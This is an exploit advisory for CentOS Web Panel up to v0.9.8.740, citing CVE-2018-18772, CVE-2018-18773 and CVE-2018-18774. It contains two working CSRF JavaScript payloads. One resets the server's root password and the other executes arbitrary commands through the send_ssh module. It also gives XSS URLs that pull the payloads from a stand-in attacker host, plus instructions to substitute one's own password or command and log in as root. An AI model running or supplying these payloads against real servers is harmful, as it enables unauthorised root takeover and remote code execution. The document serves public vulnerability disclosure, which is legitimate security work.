# Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740
# Author: InfinitumIT (https://infinitumit.com.tr)
# Vendor Homepage: centos-webpanel.com
# Software Link: http://centos-webpanel.com/cwp-latest
# Version: Up to v0.9.8.740.
# CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
#? Detailed: https://numanozdemir.com/respdisc/cwp.pdf

# Description:
# Attacker can change target server's root password and execute command, by CSRF vulnerability.
# Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS
# vulnerability and run bad-purposed JavaScript codes on administrator's browser.
# So, CSRF/XSS to full server takeover.

# How to Reproduce:
# Hacker can exploit this vulnerability (changing root password) by XSS or CSRF.
# Hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
var params = "ifpost=yes&password1=newpassword&password2=newpassword";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update newpassword as the password that you want to change.)

# If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
# After exploiting, you can connect to server by Putty or access the CWP panel with the password
# that you have specified from 2030 port.

# The second vulnerability is remote command execution.
# Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too.
# Again, hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
var params = "ssh+command=whoami";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update whoami as command that you want to run.)

# Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>

# shouldnt think that CSRF/XSS are unimportant vulnerabilities.
# for secure days...